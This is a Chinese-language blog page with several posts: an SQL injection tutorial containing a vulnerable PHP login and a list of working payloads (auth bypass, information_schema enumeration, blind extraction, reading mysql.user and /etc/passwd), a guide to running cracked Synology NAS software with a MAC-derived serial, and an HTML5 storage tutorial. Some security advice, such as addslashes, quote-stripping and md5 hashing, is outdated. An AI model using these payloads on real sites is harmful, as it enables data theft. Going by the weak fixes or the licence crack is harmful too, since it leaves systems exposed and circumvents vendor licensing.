Pages

Subscribe:

Ads 468x60px

Labels

2015年4月14日 星期二

Ip如何限制讀取ip的寫法


$ip=ip2long(getenv("REMOTE_ADDR"));
if ($ip>=ip2long("195.74.96.0") AND $ip<=ip2long("195.74.127.255"))
{
$ok = 1;
}else{
header("location:blocked.php");
}
?>


這個效果還不錯

2015年4月10日 星期五

SQL injection 基本介紹

SQL injection(又稱SQL注入式攻擊 或是 SQL資料隱碼攻擊),指的是利用SQL指令的輸入字串中夾帶其他的SQL指令,一般來說都是從正當的查詢指令中夾帶惡意指令
例如:非法取得資料、惡意破壞資料...等。因此在程式設計時,也必須把這個基本的安全性給考慮進去。
下面就介紹一個基本的SQL injection範例(以帳號登入為例)
首先,我們先建立一個HTML表單來傳送資料
<form action="testsql.php" method="post">
帳號:<input type="text" name="account"><br>
密碼:<input type="password" name="password"><br>
<input type="submit" value="送出">
</form>
同時也建立一個資料庫來做測試
sql 

接著就可以撰寫接收端程式
 //接收帳號、密碼
 $account = $_REQUEST['account'];
 $pass = $_REQUEST['password'];
 //密碼使用md5加密
 $password = md5($pass);
 //查詢有無符合帳號資料
  $sql = "SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
  $res = mysql_query($sql);
  $result = mysql_fetch_array($res);
  if(empty($result)){
     //若無符合顯示查無帳號
     echo "查無此帳號<br>";
     echo $sql;
     echo "<br>輸入帳號".$account;
     echo "<br>輸入密碼".$pass;
}else{
//若符合顯示帳號、密碼資訊
     echo "帳號:".$account;
     echo "<br>密碼:".$pass;
     echo "<br>".$sql;
}
以此例說明:
當帳號輸入"' OR ''=''#" 或是 "' OR ''=''-- "(雙引號內字串)就可以進行非法登入(如下圖)
input1或是   input2  

原理:在SQL指令中 "#"和"-- "代表注釋
因此原本輸入的查詢是
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
會變成account欄位等於空 或是 ''='' ,後面的密碼則被注釋掉了
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."'' OR ''=''";
而後者條件成立,SQL指令就會開始執行(如下圖,此例取出第一筆資料)
output1 

解決這類型的非法登入的方式有幾種:
1. 使用正則表達式過濾字串;這是最搞剛卻也最安全的作法
2. 使用addslashes();這個函數會在所有的單引號前加上反斜線
下面就用addslashes()來簡單說明
//在接收的參數錢加上addslashes()
$account = addslashes($_REQUEST['account']);
$pass = addslashes($_REQUEST['password']);
再測試非法登入
output2 

輸入的資料經過轉換後,單引號的作用就失效了
這樣就能有效防範非法登入,而且對於一般人使用正當登入方法不受影響

SQL Injection 常見的駭客攻擊方式

Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,md5 目前也已經有破解方式了,使用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:$name=eregi_replace("[\']+" , '' ,$name); Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()
  • sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

相關教學下載

2015年4月9日 星期四

新竹市議員林智堅-「當心!知名電腦補習班銷售手法惹爭議!」

[分享]黑NAS --群輝DSM 5.0系列教學 (不用買貴,直接破解使用)

資料來源
話說前天在掏寶上找SERVER DOM的時候
發現了居然有USB DOM 4G 內建群輝NAS OS....
上面有連入TEST
玩了一下覺得這種圖形化的NAS,權限設定和外掛功能都蠻強的
如可以跟百度芸,GOOGLE,DROPBOX做連動
且支援外插配件,USB WIFI ,藍芽等

想說既然有人在賣,那應該有破解教學文章
爬了一下文,發現還蠻簡單的

所需檔案懶人包

第一步驟
弄個隨身碟(不能小於4G)
用Win32DiskImager
寫入gnoboot-alpha7-4458.IMG到隨身碟


然候把USB插到你要當NAS的那台機器上,選擇開機
正式安装-----開機後螢幕上會出现三个選項,選擇第二項gnoboot-me,(這個地方是關鍵,因為預設是第一個選項,裝完DSM就可以預設的第一選項啟動    )進去後會出现4458的版本安装




跑到這個畫面之後


開啟Synology Assistant
會找到一台數據損毀的NAS
在IP上面點兩下會進到網頁安裝模式(建議用網頁安裝)
這時候在去載入DSM_DS3612xs_4458
大概10來分就可以跑完

這時候已完成80%
接下來要以網卡MAC位址算序號

不然DS帳號功能,跟媒體伺服器功能無效

2015年4月6日 星期一

code school

https://www.codeschool.com/

[HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

資料來源

今天看了一下HTML5之前一直強調的功能,就是在Client端可以暫存更多的資訊,其實在Client端暫存資料並不是什麼新鮮事,Cookie就可以做到了,但Cookie在使用上有幾個不便利的地方:
  • Cookie在每個HTTP request送出時都會被送到Server端,不管你沒有要用到Cookie中的資訊,在某種程度上會拖慢執行的效能與浪費不必要的網路頻寬
  • Cookie送出的資料本身並沒有加密,因此除非我們用SSL一類的技術做加密,否則Cookie中不宜放任何重要的資訊
  • Cookies最大才4KB,不可能存太多資料

如果我們今天希望有更大的空間、更安全的保存、更少的頻寬浪費,在Client端找個地方暫存我們想暫存的數據似乎就變得非常重要了,在HTML5的Storage技術推出前其實已經有一些技術逐步在實現這樣的目標(包含透過Flash或Sliverlight),但到了HTML5才算是統一標準並集大成,目前支援HTML5 Storage的瀏覽器及版本如下:
image
原則上比較知名的瀏覽器在現行的版本中大多支援,連手機上的瀏覽器也漸漸的支援HTML5 Storage了,這對開發人員來說算是很好的一個消息。

HTML5的Storage主要分為兩種:localStoragesessionStorage,這兩者主要在生命週期上有較明顯的差別,localStorage的生命週期較長,原則上要等到透過Javascript將內容清掉或者使用者清空Cache時才會消失;而sessionStorage則是在Browser/Tab關閉時就會清空,下面先來看一個簡單的範例:

我先在畫面上拉兩個欄位:
image

當我按下Save時會將TextBox中的文字分別寫到locaoStorage跟sessionStorage中,並寫了一個讀取Storage的function:

1function loadStorage() {
2    document.getElementById("local").value = window.localStorage["local"];
3    document.getElementById("session").value = window.sessionStorage["session"];
4}
5 
6function saveToStorage() {
7    window.localStorage["local"] = document.getElementById("local").value;
8    window.sessionStorage["session"] = document.getElementById("session").value;
9}
然後我在兩個欄位分別輸入local跟session的文字,按下『Save』後會refresh畫面,並在body onload事件中會觸發localStorage的事件: 
image

我們可以發現網頁上的值確實被保存下來了,如果這時候我按下『OpenWin』的按鈕,透過showModalDialog的方式開啟另一個視窗,會發現兩個視窗的值相同,這邊先初步證明了localStorage/sessionStorage的值是被保存下來的: 
image

接著來求證一下sessionStorage的值只會保存在單一Tab中,我們用相同的網址開啟HTML5Storage這個頁面,我們可以發現localStorage的值仍然在,但sessionStorage的值已經消失了,而localStorage則在關閉瀏覽器再開啟時還是可以看的到,透過這樣簡單的範例大致上求證了一下兩者生命週期的差異,我測試過IE9、Chrome11、FF3.6: 

image 
image

適度地透過Browser的Storage可以加快網頁的載入速度也可提高用戶的使用體驗。

參考資料: 

Dive Into HTML5

Introduction to DOM Storage
HTML5 Web Storage, Using localStorage and sessionStorage Objects


關連文章



    回應


    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    看起來是解決了client端存資料的問題~有沒有缺點呢?
    2011/3/28 上午 09:31 | jain 回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    to jain :
    目前我覺得跟Cookie相似度極高,但可以存的內容較豐富,硬要說有什麼缺點,有人說是安全性,不過安全性的問題跟系統如何設計有關,我覺得稱不上他的缺點....

    2011/3/28 下午 10:30 | gipi 回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    gipi 你好,
    我把http://www.w3school.com.cn/tiy/t.asp?f=html5_webstorage_local_pagecount 這個範例copy到我的伺服器上時,在ie 下無法正常執行,但在w3c 的範例上又可以正常,請問這差別在哪裡? 謝謝。
    2014/8/19 上午 11:17 |  回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    你說靶範例copy到你的伺服器上,然後在IE執行是不行的,但同樣的code,你在w3c的網站上執行是ok的,在這過程,你用的都是IE嗎?

    如果你用了不同的瀏覽器,那你可以確認一下你的IE版本,並非所有的版本都支援此特性。
    Web storage is supported in Internet Explorer 8+, Firefox, Opera, Chrome, and Safari.
    Note: Internet Explorer 7 and earlier versions, do not support Web Storage.
    2014/8/19 下午 04:43 | gipi 回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    是的,我是用 IE 10 來測試的,但剛才我把 localStorage 換成 sessionStorage 時,是可以正常執行的。
    2014/8/19 下午 05:22 |  回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    to 林 :
    貼一下你的程式碼可能快一些。
    2014/8/20 下午 09:42 | gipi 回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    gipi 大,以下是我的程式碼,在 Chrome 下執行正常,但在 IE10 執行時不會運作。

    01
    02<html>
    03<body>
    04 
    05<script type="text/javascript">
    06 
    07if (localStorage.pagecount)
    08    {
    09    localStorage.pagecount=Number(localStorage.pagecount) +1;
    10    }
    11else
    12    {
    13    localStorage.pagecount=1;
    14    }
    15document.write("Visits: " + localStorage.pagecount + " time(s).");
    16 
    17</script>
    18 
    19<p>刷新頁面會看到計數器在增長。</p>
    20 
    21<p>請關閉瀏覽器窗口,然後再試一次,計數器會繼續計數。</p>
    22 
    23</body>
    24</html>